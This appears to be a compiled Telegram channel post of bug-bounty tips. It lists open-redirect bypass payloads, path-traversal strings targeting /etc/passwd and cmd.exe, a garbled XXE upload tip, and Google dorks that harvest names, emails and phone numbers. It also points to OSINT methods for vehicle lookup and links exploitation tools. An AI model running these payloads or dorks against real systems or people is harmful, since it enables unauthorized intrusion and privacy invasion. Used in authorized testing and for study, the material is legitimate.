Termux All Command [Telegram Group]

☄️You can try this effective manual openredirect Bypass☄️ 1. Null-byte injection: - /google.com%00/ - //google.com%00 2. Base64 encoding variations: - aHR0cDovL2dvb2dsZS5jb20= - aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbQ== - //base64:d3d3Lmdvb2dsZS5jb20=/ 3. Case-sensitive variations: - //GOOGLE.com/ - //GoOgLe.com/ 4. Overlong UTF-8 sequences: - %C0%AE%C0%AE%2F (overlong encoding for ../) - %C0%AF%C0%AF%2F%2Fgoogle.com 5. Mixed encoding schemes: - /%68%74%74%70://google.com - //base64:%32%46%32%46%67%6F%6F%67%6C%65%2E%63%6F%6D - //base64:%2F%2Fgoogle.com/ 6. Alternative domain notations: - //google.com@127.0.0.1/ - //127.0.0.1.xip.io/ - //0x7F000001/ (hexadecimal IP) 7. Trailing special characters: - //google.com/#/ - //google.com/;&/ - //google.com/?id=123&// 8. Octal IP address format: - http://0177.0.0.1/ - http://00177.0000.0000.0001/ 9. IP address variants: - http://3232235777 (decimal notation of an IP) - http://0xC0A80001 (hex notation of IP) - http://192.168.1.1/ 10. Path traversal with encoding: - /..%252f..%252f..%252fetc/passwd - /%252e%252e/%252e%252e/%252e%252e/etc/passwd - /..%5c..%5c..%5cwindows/system32/cmd.exe 11. Alternate protocol inclusion: - ftp://google.com/ - javascript:alert(1)//google.com 12. Protocol-relative URLs: - :////google.com/ - :///google.com/ 13. Redirection edge cases: - //google.com/?q=//bing.com/ - //google.com?q=https://another-site.com/ 14. IPv6 notation: - http://[::1]/ - http://[::ffff:192.168.1.1]/ 15. Double URL encoding: - %252f%252fgoogle.com (encoded twice) - %255cgoogle.com 16. Combined traversal & encoding: - /%2E%2E/%2E%2E/etc/passwd - /%2e%2e%5c%2e%2e/etc/passwd 17. Reverse DNS-based: - https://google.com.reverselookup.com - //lookup-reversed.google.com/ 18. Non-standard ports: - http://google.com:81/ - https://google.com:444/ 19. Unicode obfuscation in paths: - /%E2%80%8Egoogle.com/ - /%C2%A0google.com/ 20. Query parameters obfuscation: - //google.com/?q=http://another-site.com/ - //google.com/?redirect=https://google.com/ 21. Using @ symbol for userinfo: - https://admin:password@google.com/ - http://@google.com 22. Combination of userinfo and traversal: - https://admin:password@google.com/../../etc/passwd

Google Dork site:target.com ext:xlsx "name" "@gmail.com" "phone"

GoSearch - OSINT tool for searching people's digital footprint and leaked passwords across various social networks, written in Go. GitHub: https://github.com/ibnaleem/gosearch

🔰 Summarize YouTube Videos Ultimately 🔰 First, add this extension on your browser https://keywordseverywhere.com/ Then open YouTube and see on the right side you will see 3 options use ChatGPT, use Claude, and use Gemini you can use any of them among 3 Summarize Videos and Save your precious time!

Bug Bounty Tip : XML External Entity(XXE) 1.Go to the file upload functionality in the application. 2.Upload a XML file ]> &xxe; 3.Use Burp Suite to intercept the request and modify content type. hashtag#bugbounty

Nmap all collection : https://github.com/emadshanab/Nmap-NSE-scripts-collection

XXEinjector Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods. TOOL GITHUB LINK: https://lnkd.in/fB3_S6d

dnsReaper dnsReaper: subdomain takeover tool for attackers, bug bounty hunters and the blue team TOOL GITHUB LINK: https://lnkd.in/e-39S78D

📍List of tips I shared on X recently 🪲Google Dorks site:*.redacted[.]com inurl:web inurl:guest site:*.redacted[.]com "Welcome to" "Sign in with Microsoft" site:*.redacted[.]com inurl:debug inurl:& site:*.redacted[.]com inurl:debug inurl:? site:*.redacted[.]com inurl:debug inurl:= site:*.redacted[.]com inurl:debug inurl:true ⛏️Add to your wordlist /tunnel-web/secure/webdav /tunnel-web/secure/webdav/guest /gsm 🔍Waymore Grep cat urls.txt | grep "debug=" 🤖Prompts [1] I have 20 urls that contains the keyword "rss", any specific vulnerability you would suggest here to test first? [2] Ok, now explain the vulnerability testing procedure using detailed request and response application flow [3] Ok, any hidden test case not tested by majority and overlooked? 🐞Learn Bing Dorking [1] https://lnkd.in/g92WC4HW [2] https://lnkd.in/g2HBqZ2S [3] https://lnkd.in/gmKJ-b3e [4] https://lnkd.in/gP553puY 💉Learn SPARQL Injection [1] https://lnkd.in/gT9e77iz [2] https://lnkd.in/gUmmFveY [3] https://lnkd.in/gXfXmzZu [4] https://lnkd.in/gNtE9Pr4

⚡️NucleiFuzzer: An advanced automation tool for streamlined web app security testing. Combines powerful tools like ParamSpider, Waybackurls, Katana, Gauplus, and Hakrawler for effective URL discovery and vulnerability scanning. ✅Link: https://lnkd.in/gUC2piPz

#𝗢𝗦𝗜𝗡𝗧 𝗧𝗶𝗽: 𝗦𝗲𝗮𝗿𝗰𝗵𝗶𝗻𝗴 𝗣𝗮𝗿𝘁𝗶𝗮𝗹 𝗡𝘂𝗺𝗯𝗲𝗿 𝗣𝗹𝗮𝘁𝗲𝘀 𝗶𝗻 𝘁𝗵𝗲 𝗨𝗞 🚗🔎 Did you know you can search for UK number plates even with partial information? Using a '?' as a wildcard for up to two unknown characters, you can retrieve results showing the vehicle’s full registration, colour, make, and tax/MOT status. When combined with an image, filtering by colour and make is a powerful technique to identify the correct registration. 🔗 Explore the tool: https://lnkd.in/dbjN5W9p

I found an Information Disclosure Vulnerability in a public target on HackerOne in just 2 minutes🎯 How I did it : First, I used Subfinder to gather all subdomains (Tip: Always configure your API keys for the best results). Then I used the httpx-toolkit tool to collect all subdomains returning a 404 status code into one file. Then I ran ffuf with my custom wordlist on the 404 subdomains, which revealed interesting URLs: https://subdomain.[target].com/humans.txt When I opened it, I found the developers' names and credentials, as well as all the technologies the website uses, including the version of PHP and more. So, make sure to add /humans.txt/ to your wordlist!

Bug Bounty Writeups : https://github.com/x1337loser/bug-bounty-writeup

🚀 RedirXploit: Detect Open Redirect Vulnerabilities 🚀 Open Redirect vulnerabilities can expose your applications to phishing attacks and data theft. RedirXploit automates the detection process, making it faster and easier for you! This tool helps identify vulnerable parameters that can be exploited. Features: Efficient Scanning: Quickly detect Open Redirect issues. Scan Files or Single URLs: Test individual URLs or entire lists. Identify Vulnerable Parameters: Pinpoint weak points in your application. Custom Payloads: Test specific redirect behaviors. Detailed Reports: Clear results for easy analysis. Video Demo: https://lnkd.in/eq_rkP5z GitHub Repository : https://lnkd.in/esqA_4A4